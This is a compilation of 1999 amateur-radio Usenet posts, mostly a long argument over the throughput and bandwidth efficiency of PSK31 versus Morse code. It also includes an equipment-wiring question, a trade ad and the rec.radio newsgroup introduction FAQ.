Well, you are missing the point entirely, Rob. It matters not what you think is a meaningful test at some other speed. PSK31 operates at its designed speed (or less if you choose to type slower). It would probably help the discussion if you were to try PSK31, or at least read up on its theory of operation, so that you could understand what I have been saying.

I will say it another way. PSK31 does NOT operate at 50-60 WPM. It CANNOT operate at 50-60 WPM - Therefore it is pointless to talk about comparing it with CW at such speeds. If it were capable of operating at 50-60 WPM, then it WOULD NOT BE PSK31 - it would be something else.

What *are* you talking about, Robert? Rob Janssen's speculation looks entirely correct. I think you're misunderstanding the concept of "WPM" here. Read Rob's note carefully again, and rather than responding in knee-jerk fashion, try to understand what he's suggesting. Rob says that, for a given portion of text, sending it with PSK31 (31.25 baud with the Varicode character encoding) would take about as long as sending the same text with Morse code at around 50WPM. Before going any further, please take a moment to look up the definition of "WPM" - hint: it is about throughput. not a baud rate.

Morse code sent at a baud rate of 31.25 equates to about 38WPM; the Varicode character provides greater average "density", which Rob estimates improves the equivalent throughput to more like 50WPM.

> I will say it another way. PSK31 does NOT operate at 50-60 WPM. It

Why don't you just try Rob's experiment, except you can do it mathematically, by writing a computer program that takes arbitrary text and determines how long it takes to send it using Varicode and Morse code. You can simplify the task a little by simply counting the number of bauds required and comparing them. If you don't feel up to the task, let me know. Otherwise, I'll be looking forward to your objective results.

The 486/33 is fine for the cw and rtty decoding with that
interface. I have the decoder and it does rtty very well if there
is no other signals in the passband. A good audio filter really
helps. It does not do CW very good at all. If your main interist
is cw, you probably need to look at another program and or interface
system. Look for one called BLT151.zip. I think that is the one I
am using under dos. This program will work off a sound card.

Not sure how long the cables can be as mine is built into a db25
plug, but the audio cable can be atleast 4 meters long, probably
longer if needed. That is the longest that I have ran mine.

Well, first you say that mode comparison is moot (I'll bet that's what you intended to write) and then proceed to mention advantages and disadvantages.

Comparison and evaluation of advantages are the same process in this context;
in other words, mode comparison is not moot. To perform comparisons, you identify relevant attributes and determine how to consistently describe them.

Obviously, not all comparisons are two-dimensional; you may find a mode that

offers a terrific throughput/bandwidth ratio, but requires an excellent S/N ratio.

In this discussion, I determined the throughput/bandwidth values using a given text string. I did not address the S/N performance of these modes; this is rather difficult to evaluate objectively since Morse effectiveness is
quite dependent on variable human operators.

Dear Dana & Rob,
OK, I can see your point. If I use the WPM as I see it defined in the
ARRL Handbook, 71st Ed., pages 9-8, 9-9, then 50 WPM is supposed to be
the throughput for 41.6 bauds. So, tell me - how are we to compare a
31.25 baud PSK31 signal with 41.6 baud signal?

>Morse code sent at a baud rate of 31.25 equates to about 38WPM;
>the Varicode character provides greater average "density", which
>Rob estimates improves the equivalent throughput to more like 50WPM.

I hardly think so. In actual tests which anyone can perform, the
performance of PSK31 is approximately 43 WPM of "typical" text - not
50 - 60 WPM, which is what Rob said. I don't want to bias this
comparison by insisting on all caps or being restrictive about
"average word lengths" or anything else. Just run the tests yourselves
and see what you get. I have run several such tests and the only thing
that I am doing that I would think could be controversial is that I am
using 6 characters to represent a "word group" plus a space character.
If you think that's unreasonable, then that's where part of the
problem lies.

I frankly do not know how to interpret Rob's question, "Isn't the
datarate on PSK higher than on CW?". I do know how I interpreted it at
the time I read it. I interpreted his question as relating to CW in
general and to PSK31 in general - not to the CW ID that is sometimes
appended to PSK31 transmissions. I believed at the time that I read it
that the context at that point was NOT related specifically to the CW
ID appendage.

>Why don't you just try Rob's experiment, except you can do it mathematically,
>by writing a computer program that takes arbitrary text and determines how long

>little by simply counting the number of bauds required and comparing them. If

>you don't feel up to the task, let me know. Otherwise, I'll be looking forward to
>your objective results.

If I understand the approach, I could do a whole lot of analysis and calculations that could take hours, and I might very well make a mistake - either in concept or theory or math. I took the easy way out. I used a stopwatch and sent several files. I get an average of 259.45 characters per minute with PSK31, and if you take my assumption above above about word length, you will get about 43 WPM. You can run the same tests with nothing more than the PSK31 software.

In summary, I could be wrong about my interpretation of Rob's question, but he did go on to propose the test as, "For a fair comparison, use a CW rate that matches the PSK datarate." So, even if I have interpreted his question in the wrong context, his proposed test most certainly proposes a CW rate that should match the PSK31 datarate, and I submit that such a test should be run at 43 WPM and not 50-60 WPM as he suggested.

I also apologize for offense that either of you may have taken from my post.

I am also wondering what was the point of this exercise, and I certainly am not sure of what point was being projected by anyone beyond Jim Kehler, whose point was unequivocal, albeit rather subjective, and I agree with his point entirely. It is quite possible to hear and identify a CW ID with the ear and brain while the computer, software and sound card are having difficulty in copying the text. Whether or not that can be projected into a generality about the relative merits of CW vs PSK31, I don't know and don't care, because it's not scientific and it's not a fair comparison.

2785. Throughput of PSK31

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-16 00:00:00 UTC
From: Dana@Source.Net
Message-ID: <7k7h59cdj1@nnrp1.deja.com>
Source record: 17790

Let's take a breath and try to perform an apples-to-apples comparison. It isn't that difficult to determine how many "bits" (where bit and baud are equivalent in this context) it takes to send a specified portion of text. The standard word used in determining Morse throughput in WPM is "paris ", so let's see how many bits it takes to send that word in PSK31's Varicode. I added up the lengths of all the characters plus the inter-character spacing of 2 bits and found that "PARIS " required 50 bits in PSK31, and "paris " requires 37 bits (Varicode is biased towards lower-case since most text is sent lower-case). 50 bits at 31.25 bits/sec gives 1.6 seconds/word, and 60 seconds gives 37.5 WPM. However, 37 bits requires 1.184 seconds, which gives 50.68 WPM.

Obviously, Varicode prefers lower-case, Morse code doesn't have the feature of case or encodings for the entire 128-character set that Varicode does. It is also worth noting that Varicode and Morse are both influenced by the text being sent and they may not be influenced similarly. If you're going to use a stopwatch, you really have to compare how long it takes to send using both PSK31 and Morse.

Now, let's take this another step; based on the above, PSK31 achieves at least 50 WPM in about a 50Hz bandwidth. 50WPM of Morse code sent using standard keying-shape requires about 250Hz of bandwidth; calculating the WPM/bandwidth values, we get 1WPM/Hz for PSK31 and .2WPM/Hz for Morse code. Suppose we use the all-caps version of "paris " and PSK31 still offers .75WPM/Hz - better than 3 times the effective spectral efficiency of Morse code.

You can find the details and design notes for Varicode in Peter Martinez' paper, a link to which is http://www.kender.es/~edu/article/psk31theory.html#Information Coding

Any comparison of weak signal or QRM condition performance of CW and PSK31 must also be accomplished with comparable bandwidths. Often I am able to copy PSK31 signals when their CW ID is unreadable. The CW however is coming through my speaker without the benefit of the narrow PSK31 filters. I suspect that a narrow DSP filter would bring the CW signal out of the noise and QRM where it could also be copied.

Actually, the whole mode comparison thing is mute since we are comparing apples to oranges. Each mode has it's own set of advantages and disadvantages. You pick the mode according to what it is you want to accomplish. If I wanted to send a 100K binary file PSK31 would be a poor choice and CW would be even worse. If I just want conversation then PSK31 is a good choice. If I want maximum QSO rate in a contest, CW is hard to beat.

Locally here we did setup a VHF 1.2k Full Duplex TCP/IP system that worked well, then a UHF 9.6k system. Both systems used motorola mitrek radios re-xtal and tuned to ham freqs. The 9.6k required a little bit of work to get a good clean signal on rx & tx and building some TAPR 9600 modems.

It was mostly work and not $ for the radios, there is info out there on mods done by others to get you going on 9.6k and above, unless you buy radios made for it (but they prob will not do full duplex, which you will need).

Hope this helps some. Mike..KA1IFQ

2789. PK232MBX to FT 1000 MP

Newsgroup: rec.radio.amateur.digital.misc

From: Johnny Rico <lawdog2@ibm.net>
Message-ID: <3767b786@news1.us.ibm.net>
Source record: 17794

Hi, could someone helpe me out: I have a new FT 1000MP, and I would like to wire it up to my PK-232 MBX for FSK, using the back panel connectors. Unfortunately I have misplaced the 232's manual. It appears that the FSK cable will go from rear pannel connector # 17 of the FT 1000 MP to the Scope/FSK 5 pin din connector on the 232. However, not having the manual, I am unsure how to wire up the 5-wire (green white black brown red) PK232 connector to the 4 pole 1000MP Din connector. Could someone help me out on this? I'd like to get up and running on Pactor and RTTY.

Thanks much!

Ok, so it actually is inside my "back-of-envelope" guess of 50-60 WPM :-)
(although admittedly a bit close to the lower edge)

>Dear Dana & Rob,
>OK, I can see your point. If I use the WPM as I see it defined in the
>ARRL Handbook, 71st Ed., pages 9-8, 9-9, then 50 WPM is supposed to be
>the throughput for 41.6 bauds. So, tell me - how are we to compare a
>31.25 baud PSK31 signal with 41.6 baud signal?

It seems you are missing the point. I am not comparing bits-per-second
but characters-per-second. A bit hard, because the number of bits per
character is not the same for CW and PSK31, and not even the same for
each character. But as already shown in another posting, a number of
words "paris " per minute can be calculated for both modes, and they
can be compared based on that calculation. It doesn't matter if the
baudrates are the same for that number of WPM, in fact a higher baudrate
for the same WPM just means the character encoding is less efficient.

>I frankly do not know how to interpret Rob's question, "Isn't the
>datarate on PSK higher than on CW?". I do know how I interpreted it at
>the time I read it. I interpreted his question as relating to CW in
>general and to PSK31 in general - not to the CW ID that is sometimes
>appended to PSK31 transmissions.

But that is what I meant. Someone claimed that he could decode the CW ID
and could not decode the PSK31, and I guessed that he was looking at
slower CW than the equivalent of the PSK31 transmission. To judge the
quality of the PSK31 decoder as compared to CW, you should compare PSK31
to CW at the same WPM rate. That now works out to be in the 40-50 WPM
range. I doubt that you can easily decode noisy CW at 40-50 WPM, but
then I am not a CW crack.

>I am also wondering what was the point of this exercise,

I can only tell you what *my* point was: CW advocates always claim that
their mode is the most efficient and the best decodable under weak signal
conditions, while simple calculations show that this is not the case.
"requiring a small bandwidth" does not mean "efficient" when the effective
datarate is low (compared to other modes requiring more bandwidth). So
before you start comparing bandwidths and power requirements, at least
be fair and compare them at the same datarates.
(this also holds for voice: when comparing with SSB, compare at a CW
rate that is equivalent to typical speech rate)

An apples to apples comparison would put comparable post-reception processing in the loop. PSK31 operates in its 50 Hz bandwidth -- marginal at best from my experience; 100 Hz each side is recommended and more realistic -- only because off-board DSP processing allows such sharp shoulders. Similar post-processing for CW might give similarly good results. Digitally enhanced CW, reshaped for human reception, can probably fit in a narrower slice than even PSK31. I'm guessing only, and don't feel strongly about this to pursue it. However, IMHO, the basic premise of your comparison is flawed.

In an out and out speed comparison, CW already has PSK31 beat by a large margin. The world CW speed record is around 1,350 wpm. That's not a typo: 1.3 kwpm CW was received via meteor skip.

In a realistic view, human to human communication is still limited by the operator's sustained I/O rate. Both PSK31 and CW are useful to maintain two way live communication.

Be that as it may, the biggest advantage CW has on PSK31 is that it requires no auxiliary processor, and manages to attain comparable throughput given similar power and bandwidth requirements. I enjoy and use both. We still haven't found the apples to compare our citrus. (Or is that citri?)

You are right that there is some benefit in mode comparison. What I should have said is that statements that one mode is better than another is moot unless you address specific characteristics (as you have done) and consider operational requirements. Which is the "better" mode depends on what you are trying to accomplish. My point is that most every mode has its place.

2795. FT: Dual-band Yaesu FT-8000R mobile for *TRADE*

Yaesu FT-8000R dual-band mobile
(identical to current model FT-8100R except without removable control head).
Very clean, <50 hours total use, no mods, non-smoker, never mobile.
118-520 MHz (incl. AM AIR), 760-1300MHz RX, less cellular
9600 packet-ready (dedicated DIN data connector on back)
All the newest bells and whistles.
With DTMF Yaesu mic, manual, and schematic.

Will TRADE for a 2-meter all-mode rig in good condition.
Let me know what you have. Trades *only* please. Thanks.

Good Morning Dana,

So far, so good. The average of your two WPM values seems to be very
close to my 43 WPM value for PSK31.

>Obviously, Varicode prefers lower-case, Morse code

And that's one of the reasons why I did not want to focus on a
particular word or phrase. By using text files, there is a better
chance of making the comparison consistent with real life.

Spectral efficiency is where Peter's system really shines. In his own words, "PSK has been designed not only to give all the weak-signal-in-white-noise advantages that PSK has to offer, ...".

The point that I would like to make here is that none of this wonderful theory helps very much when it comes to comparing two systems, one of which uses the operator's brain and experience as the critical signal processing means.

So, the subjective observations in the original postings on the original thread are duly noted and filed where they belong. I think it was probably a good idea to break with that and start a new thread on a purely scientific basis.

An apples-to-apples comparison of what? I compared the
throughput/bandwidth ratio for the modes, which is a
reasonable and objective starting point.

What's the flaw? I did two things in my comparision:

1) Determine actual throughput after the use of Varicode.

2) Relate actual throughput to minimum required bandwidth.

> In an out and out speed comparison, CW already has PSK31 beat by a large
> margin. The world CW speed record is around 1,350 wpm. That's not a
> typo: 1.3 kwpm CW was received via meteor skip.

That's specious - and *exactly* the kind of comparison I was trying to
avoid. Perhaps you believe my analysis was flawed because you don't
understand it. My analysis *first* determined how to realistically relate
the throughput of Varicode to Morse code, *then* related this to the
minimum required bandwidth. One can implement PSK/Varicode
at higher baud rates - and it will still outperform Morse when
examined for throughput/bandwidth.

By the way, this figure of 1350 WPM - was this accomplished
using a fully machine decoded system, or was it done by capturing
the audio and then visually examining the spectra of the signal for
Morse code elements? I ask mostly out of curiousity, since OOK
Morse isn't particular well-suited for machine decoding...

> In a realistic view, human to human communication is still limited by

Sure. No one suggested otherwise. This is rather specious again. It
occurs to me you might think Morse code needs a defense here. I'm

not interested in an emotional comparison, just relevant technical parameters.

Hold on; you claim that Morse code "manages to attain comparable throughput given similar power and bandwidth requirements". I believe you are in error; my analysis was exactly of throughput vs. bandwidth - and PSK31 has a significant advantage in this respect, though admittedly I did not attempt to incorporate the power attribute in this comparison.

As I've already mentioned in another note, comparisons are often not two-dimensional. In other words, there are often orthogonal attributes that can't be factored into a single number. Perhaps you don't believe a relevant comparison can be made because you're not separating the issues into relevant groups.

Hi Dana, Seems to me a figure of merit would be:

throughput/(power*bandwidth)

Is there anything else that is important? What is
the bandwidth required for CW at the same wpm as
PSK31? I don't think I could copy 43wpm CW through
a 150Hz filter.

Given the shaping of traditional CW transmissions, 50WPM Morse requires typically between 150 and 250 hz bandwidth. The pulse shape for each morse element is much sharper than minimum bandwidth requirements would dictate. Try looking at Morse transmissions through a spectrum analyzer (several free ones are available via the net). You can typically see 3rd order, and sometimes higher remnants of Morse signals echoed at higher and higher frequencies. Note: this is for "properly" shaped Morse pulses, not simple square waves.

When Morse code is to a bandwidth of below 3xWPM Hz, it becomes very soft and hard to decode, particularly in the presence of noise and at high rates of speed. Run the experiments yourself.

Now, of course, the CWID transmitted by PSK31 implementations is much slower than 50wpm, so it both takes up less bandwidth and enjoys a relative power advantage due to the longer bit times. Hence, it might very well be possible for you to detect and decode the CWID when the PSK31 software doesn't lock on. But that isn't an apples to apples comparison either.

You are definitely grasping at straws with this comment. Since PSK31 by definition operates at a single speed, it is hardly suprising that modes exist which operate both faster and slower. It would hardly seem fair to compare CW to various wireless modems that are cheap and available now, with speeds easily to the megabit range.

> Be that as it may, the biggest advantage CW has on PSK31 is that it

The main disadvantage of CW is of course that it fails to take advantage of increasingly cheap and available technology, instead relying on extensive user training who perform at widely varying levels of proficiency.

I'll have some of that orange juice now. :-)

>In an out and out speed comparison, CW already has PSK31 beat by a large
>margin. The world CW speed record is around 1,350 wpm. That's not a
>typo: 1.3 kwpm CW was received via meteor skip.

You (and many CW advocates) seem to think that CW requires an infinitely
small bandwidth, no matter what the speed is.
This misunderstanding is possibly caused by the relatively low rate at
which most amateurs send CW as compared to the bandwith that can be
affordably realized in a commercial transceiver.

When you would receive CW through a 50Hz wide filter, you would have
a hard time demodulating it. The smaller the filter gets, the more
the background noise gets filtered down to a tone. The actual tone
from the distant station will be difficult to detect in this very
colored noise.

Also, an AM-modulated signal like an on-off keyed carrier can be
mathematically described as a carrier with sidebands spaced at the
keying frequency (assuming the keying is sine-shaped there is only
a single pair of sidebands; in practice there will be more). When
your receive filter is so narrow that these sidebands get filtered
away, you will notice the filter has difficulty following the keying.
(the boundaries between ON and OFF become blurred, the filter starts
"ringing")

So, your 1350 wpm CW signal requires considerably more bandwidth than the
50 or 100 Hz you are apparently comparing it with.

When you omit bandwidth from the equal-comparison criteria, you
apparently are challenging "PSK modulation" to compete in speed with
a 1350 wpm CW signal. Of course, there are examples of PSK modulators
that operate at speeds at least 10^6 faster than that...

A 1350 WPM CW signal will probably require about 3 KHz of bandwidth.
(I guess that is the reason the speed record is set at that rate: they

used a commercial SSB transceiver with the filters it comes with).
Ok, let's compare PSK at that bandwidth... you probably access Internet
using a MODEM that transmits at 33600 bps over a similar bandwidth. It
uses a combination of PSK and AM to achieve that. Let's be conservative
and compare at 8 bits per character and 6 characters per word, then this
modem transmits about 42,000 wpm, 31 times faster than your world CW speed
record. When using a more efficent coding or compression, it would be
even more.

This difference comes at the cost of a much higher S/N requirement than
would be realistic on hamradio, and very stringent specifications on
phase linearity. But it show that it is dangerous to claim that CW
is very efficient...

So far, we've discussed the throughput of varicode. I accept the 43 wpm figure from previous discussion as a plausible working figure.

The other two values -- bandwidth and power requirements -- were not so well discussed. IMHO, the 50 Hz figure you chose is particularly suspect.

Anecdotally, I've worked shoulder-to-shoulder with adjacent QSO's. Contrarily, one particular bozo came bouncing from 173 Hz away to GRIPE (his word, his caps, and his measure of freq difference) about interference with his Euro DX. I should add that I'm in W9, back lobe to this W2. The other station, a W4, was side lobe to him. Both stations had clean signals.

Regardless of all that, weak signal QSO's with SOLID copy are rare with PSK31. I've worked weak signals along with everyone else here, and am pleased with the results. I'm more willing to accept even 60% or 70% copy as usable with PSK31, while 80% or 90% seems to be my threshold for CW. This leads to two additional factors for Cecil's figure of merit: percent of usable copy, and level of effort.

PSK31 wins the level of effort question hands down. Or should I say headphones down? Very modest skills are required to operate, and no amount of skill or effort will improve reception. Compared to CW, it is at the opposite end of whatever scale we can use to measure this. I particularly like the fact that all QSO's are zero-beat, and consume even less bandwidth. This clearly points out that the PC is a much better op than most of us.

Percent of usable copy is maybe easier to define, but I don't how or where to start measuring it. I would add, however, that PSK31 never has a bad fist, and is copyable if other conditions are met. The same is not always true of CW.

Given all this, Dana's conclusion that PSK31 is 900% better than CW under any condition is not just specious or facile. It misses the mark by several magnitudes. The only meaningful apples-to-apples comparison is back to back QSO's, one in PSK31 and one in CW. It is a pass-fail comparison: did I communicate all that I need to communicate? I suspect the difference there is not at all close to claimed 1:10.

I would suggest this as a meaningful test. After a PSK31 contact, successful or otherwise, exchange sign offs in CW at 44 wpm. (Being careful to retune so as to not stomp other QSO's.) Note in your log if you felt the CW sig would have been usable. You don't have to actually copy it; just note if you felt there was enough signal there to possibly have copied. Also note in your log if adjacent CW sign-offs interfered with your otherwise clean PSK31 QSO. After 100 such contacts, count the number with usable CW sigs. Similarly, exchange pleasantries in PSK31 after a CW contact. Count the success ratio on those.

In any case, I believe the original question has been answered. Realistic PSK31 throughput, subject to revision, is between 40 to 50 wpm. The question in my mind is how much of the improvement is due to masking operator deficiencies, and how much is actual technical achievement.

Michael.

I did not discuss the power requirements, and drew no conclusions
regarding power or S/N ratio. Bandwidth is very straightforward to
address.

Please refer to http://www.kender.es/~edu/article/psk31theory.html
for details of the PSK31 modulation technique; in particular, the
majority of the PSK31 signal is inside a 31Hz bandwidth, and the
receive filter used in Martinez' implementation of PSK31 is at least
64dB down at +/-31Hz. Note that the receive filter is actually somewhat
broader than the transmitted signal.

It is straighforward to analyze the minimum required bandwidth of an
OOK Morse signal as well; the baud rate is WPM/1.2, and the bandwidth
is BaudRate * KeyingFactor (where KeyingFactor is typically 5 for
Morse). Combining the two equations, we get Bandwidth = WPM * 4.17

For example, a 43 WPM Morse signal occupies a minimum required
bandwidth of 180 Hz, and a PSK31 signal has a minimum required

bandwidth of 32 Hz.

If you have a problem with these numbers, please look up the relevant information and show me where I went astray.

[...]

> Given all this, Dana's conclusion that PSK31 is 900% better than CW
> under any condition is not just specious or facile.

It isn't just specious or facile, it is *ficticious*. Where did I ever even imply that PSK31 is "900% better than CW"? I *did* estimate that PSK31 offers a spectral efficiency of 1WPM/Hz and Morse code offers an efficiency of .2WPM/Hz - which I guess works out to a factor of 5 in favor of PSK - but you're attributing something to me I never wrote. Please stick to the facts without exagerating what I write.

However, now that I've done the more detailed math to determine minimum necessary bandwidth of PSK31 (31Hz) and Morse code (180Hz for 43WPM), let's do the calculation again, using an assumed throughput of 43 WPM:

PSK31 = 1.4 WPM/Hz
Morse (K=5) = .24WPM/Hz

Ratio = 5.9

My original estimate wasn't all that bad, after all.

Now, about that 43WPM. Has anyone taken the hour or so to write a short program to calculate equivalent throughput using Varicode and fed it some text to see how Varicode performs in the real world? The estimate I mad indicates that Varicode significantly favors lower-case text (since most text is lower-case afterall - look at this news posting). I suspect the average throughput is weighted closer to 50WPM than 43WPM, but, rather than just share my subjective opinions, I'll write that program tonight and share it and the results.

> It misses the mark
> by several magnitudes. The only meaningful apples-to-apples comparison

Oh, there you go, attributing a number to me that I didn't make up *and* promoting a subjective comparison rather than an objective comparison.

> I would suggest this as a meaningful test. After a PSK31 contact,
> successful or otherwise, exchange sign offs in CW at 44 wpm. (Being

> after a CW contact. Count the success ratio on those.

Well, that's really scientific. Just keep track of how you felt rather
than how things actually worked. Subjective evaluation is useful for
deciding what kind of wine you'd like with dinner tonight, but has no
place in this context. Find the relevant objective technical models
and figure out how to use them. I started by attempting to relate the
objectively measurable throughput of PSK31 vs. Morse code and the objectively
measurable bandwidth requirements; perhaps then we can move into the more
difficult noise performance characteristics.

In other words, you appear to be suggesting that inability to copy Morse
code by ear is an operator deficiency?

Right - I was also going to suggest S/N, and I suspect what we're
looking for here is the equivalent of 'BER' vs. S/N (a well-known
chart in a modem data sheet). However, characterization of "noise"
must be consistent to be useful.

Dana

Archive-name: radio/personal-intro

This message describes the rec.radio.amateur.*, rec.radio.cb, rec.radio.info, and rec.radio.swap newsgroups, as well as their Internet mailing list counterparts and complements. It is intended to serve as a guide for the new reader on what to find where. Questions and comments may be directed to Jeffrey Herman, KH6O, jeffreyh@hawaii.edu, or Paul Schleck, K3FU, pschleck@novia.net.

This message was last changed on 14 March, 1998.

History
=======

Way back when, before there was a Usenet, the Internet hosted a mailing list for hams, called (appropriately enough) INFO-HAMS. Ham radio discussions were held on the mailing list, and sent to the mailboxes of those who had signed up for it. When the Usenet software was created, and net news as we now know it was developed, a newsgroup was created for hams: net.ham-radio. The mailing list and the newsgroup were gatewayed together, eventually.

Over the years, as the net grew, the volume of discussion became progressively higher. First one by one, and then as part of two reorganizations, what was once one group became many. In the process, developments elsewhere on the net were reflected in the groups as they were created, most notably the change to place all of the ham radio groups in one hierarchy.

The collection of newsgroups continues to grow as more people join the net, and as more topics of discussion gain volume, I expect to see more groups be created as well. This follows what is happening on the rest of the net.

Nearly all of the radio newsgroups have corresponding mailing lists, the notable exception being rec.radio.swap. There are also a few mailing lists that don't have newsgroups.

The Current Groups
==================

It's important to post messages to the group that's appropriate for them, and not to the groups that aren't. The whole idea of having different newsgroups is so that folks who aren't interested in, say, homebrewing, don't have to wade through messages about homebrewing on the way to read about Field Day. Posting appropriately is just good etiquette.

The rec.radio.amateur.misc group is the catchall. It is what rec.ham-radio was renamed to during the first major reorganization. Any message that's not more appropriate in one of the other groups belongs here, from contesting to DX to ragchewing on VHF to information on becoming a ham.

The group rec.radio.amateur.digital.misc is for discussions related to (surprise!) digital amateur radio. This doesn't have to be the common two-meter AX.25 variety of packet radio, either; some of the most knowledgeable folks in radio digital communications can be found here, and anything in the general area is welcome. The name was changed to emphasize this, and to encourage discussion not only of other text-based digital modes, such as AMTOR, RTTY, and Clover, but things like digital voice and video as well. The former group, rec.radio.amateur.packet, was removed on September 21st, 1993. It is obsolete, and you should use .digital.misc instead (or the appropriate new mailing list, mentioned below). The group has .misc as part of the name to allow further specialization if the users wish it, such as .digital.tcp-ip.

The swap group is rec.radio.swap. This recognizes a fact that became evident shortly after the original group was formed: Hams don't just swap ham radio gear, and other folks besides hams swap ham equipment. If you have radio equipment, or test gear, or computer stuff that hams would be interested in, here's the place. Equipment wanted postings belong here too. Discussions about the equipment generally don't; if you wish to discuss a particular posting with the buyer, email is a much better way to do it, and the other groups, especially .equipment and .homebrew, are the place for public discussions. There is now a regular posting with information on how to go about buying and selling items in rec.radio.swap; please refer to it before you post there. To answer a frequently asked question: No, there is no mailing list that goes along with this group. If you can't read Usenet news directly, you're out of luck.

The group rec.radio.amateur.policy was created as a place for all the discussions that seem to drag on interminably about the many rules, regulations, legalities, and policies that surround amateur radio, both existing and proposed. Recent changes to the Amateur Radio Rules (FCC Part 97) have finally laid to rest the Great Usenet Pizza Autopatch Debate - it's now legal to order a pizza on the autopatch, if you're not in the pizza business - as well as complaints about now-preempted local scanner laws hostile to amateurs, but plenty of discussion about what a bunch of rotten no-goodniks the local frequency coordinating body is, as well as the neverending no-code debate, may still be found here.

The group rec.radio.cb is the place for all discussion about the Citizens' Band radio service. Such discussions have been very inflammatory in rec.ham-radio in the past; please do not cross-post to both rec.radio.cb and rec.radio.amateur.* unless the topic is genuinely of interest to both hams and CBers - and very few topics are.

The rec.radio.info group is just what its name implies: it's the place where informational messages from across rec.radio.* may be found, regardless of where else they're posted. As of this writing, information posted to the group includes Cary Oler's daily solar progagation bulletins, ARRL

bulletins, the Frequently Asked Questions files for the various groups, and radio modification instructions. This group is moderated, so you cannot post to it directly; if you try, even if your message is crossposted to one of the other groups, your message will be mailed to the moderator, who is currently David Dodell, WB7TPY. The email address for submissions to the group is rec.radio.info-moderator@primenet.com. Inquires and other adminis-trivia should be directed to rec.radio.info-request@primenet.com. For more information about rec.radio.info, consult the introduction and posting guidelines that are regularly posted to that newsgroup.

The groups r.r.amateur.antenna, .boatanchors, .dx, .equipment, .homebrew, and .space are for more specialized areas of ham radio: discussions about antennas, the older tube based amateur, military, and commercial gear, commercially-made equipment, homebrewing, and amateur radio space operations. The .equipment group is not the place for buying or selling equipment; that's what rec.radio.swap is for. Similarly, the .space group is specifically about amateur radio in space, such as the OSCAR program and SAREX, the Shuttle Amateur Radio EXperiment; other groups cover other aspects of satellites and space. Homebrewing isn't about making your own alcoholic beverages at home (that's rec.crafts.brewing), but rather construction of radio and electronic equipment by the amateur experimenter. The .dx group is devoted to long distance amateur communications. Each of these subgroups has its own charter and FAQ; please refer to the archives to find these documents.

Except for rec.radio.swap and rec.radio.cb, all of these newsgroups are available by Internet electronic mail in digest format; send a mail message containing "help" on a line by itself to listserv@ucsd.edu for instructions on how to use the mail server.

All of the groups can be posted to by electronic mail, though, by using a gateway at the University of Texas at Austin. To post a message this way, change the name of the group you wish to post to by replacing all of the '.'s with '-'s - for example, rec.radio.swap becomes rec-radio-swap - and send to that name@cs.utexas.edu (rec-radio-swap@cs.utexas.edu, for example). You may crosspost by including multiple addresses as Cc: entries (but see below). This gateway's continued availability is at the pleasure of the admins at UT-Austin, and is subject to going away at any time - and especially if forgeries and other net.abuses become a problem. You have been warned.

Mailing Lists

In addition to the mailing lists that mirror the Usenet newsgroups, there also are a few that stand alone. These cover specific areas of ham radio, and discussion is focused on just those areas. PLEASE BE SURE TO SAVE THE WELCOME MESSAGE YOU RECEIVE AFTER SUBSCRIBING -- IT WILL CONTAIN IMPORTANT INFO REGARDING UNSUBSCRIBING!

The cq-contest mailing list is for discussions of contesting in ham radio. To join, send an email to cq-contesting-request@contesting.com.

The DX mailing list covers the finer points of DXing. This one is also joined by mailing "subscribe" on a line by itself, this time to dx-request@unbc.edu.

There's also a VHF mailing list, for VHF operators of the weak signal persuasion. You can join this one be sending "subscribe vhf" on a line by itself to vhf-request@w6yx.stanford.edu.

The QRP-L list is devoted to building and operating gear at low-power outputs. To subscribe, send an email to listproc@lehigh.edu and only write: subscribe qrp-l Your Name.

The TopBand e-list is devoted to all areas of operation on 160m. To subscribe, send an email to majordomo@contesting.com and only write: subscribe topband and follow the instructions you'll be sent.
This site, contesting.com, also hosts a couple dozen other ham-related e-lists. Use the above address, and only write: lists to get the entire index.

The Boatanchors e-list is devoted to the older tube-based ham, military, and commercial communications gear. To subscribe, send an email to: listserv@listserv.tempe.gov and only write: subscribe boatanchors

For homebuilding transmitters and receivers using tube technology, there is the Glowbugs e-list; send an email to: majordomo@piobaire.mines.uidaho.edu and only write: subscribe glowbugs <your@address.here>

The VHF DX discussion list can be accessed by sending an email to: majordomo@blacksheep.org and only writing: subscribe VHF-DX-discuss.

We now have a list devoted to amateur radio history. To subscribe, send an email to: ham-radio-history-subscribe@egroups.com - leave the body of the message blank.

Qth.net hosts over 100 ham-related e-lists, including lists devoted to each state, manufacturer, mode, band - too many to state here. Send an email to majordomo@qth.net and only write: lists to get the complete index.

For one of the most complete indexes of email lists, see the excellent web site http://pw2.netcom.com/~ac6v/pageae.html

Please do NOT send subscription requests to the mailing lists themselves; that doesn't work very often, and is very annoying to those on the list. Also, please keep your electronic mail address current with any mailing lists you subscribe to, as dealing with returned email is a nuisance for the person maintaining the mailing list.

A Few Words on Crossposting
==========

Please do not crosspost messages to two or more groups unless there is genuine interest in both groups in the topic being discussed, and when you do, please include a header line of the form "Followup-To: group.name" in your article's

headers (before the first blank line). This will cause followups to your article to go to the group listed in the Followup-To: line. If you wish to have replies to go to you by email, rather than be posted, use the word "poster" instead of the name of a group. Such a line appears in the headers of this article.

One of the few examples of productive cross-posting is with the rec.radio.info newsgroup. To provide a filtered presentation of information articles, while still maintaining visibility in their home newsgroups, the moderator strongly encourages cross-posting. All information articles should be submitted to the rec.radio.info moderator so that he may simultaneously cross-post your information to the appropriate newsgroups. Most newsreaders will only present the article once, and network bandwidth is conserved since only one article is propagated. If you make regular informational postings, and have made arrangements with the moderator to post directly to the group, please cross-post as appropriate.

I have a problem with the oranges in your apples to apples comparision.
Specifically, you're comparing "minimum bandwidth" for PSK31 to
published optimum bandwidth for ASK. The theoretical minimum of 32 Hz is
not justified by actual practice. The main PSK31 information page is
inaccessible at the moment. Feel free to look up their recommendations
at http://aintel.bi.ehu.es/psk31.html.

I stand corrected. Your claim is a 490% improvement.

> My original estimate wasn't all that bad, after all.

It reeks. See above. Your error is in accepting the theoretical 50 Hz,
and comparing that to the real world optimum for CW of 180 Hz.

> Now, about that 43WPM.

That's not in contention here. The estimate can be off by 20 - 30%. It's
small compared to 490%.

Allow me to rephrase:

It misses the mark by at least a magnitude. One meaningful
apples-to-apples comparison is back to back QSO's, one in PSK31 and one
in CW. It is a pass-fail comparison: did I communicate all that I need
to communicate? I suspect the difference there is not at all close to
claimed 1:5. Your use of conservative empirical values for CW is not
compatible with the optimistic theoretical minimums for PSK31.

> I started by attempting to relate the

more
> difficult noise performance characteristics.

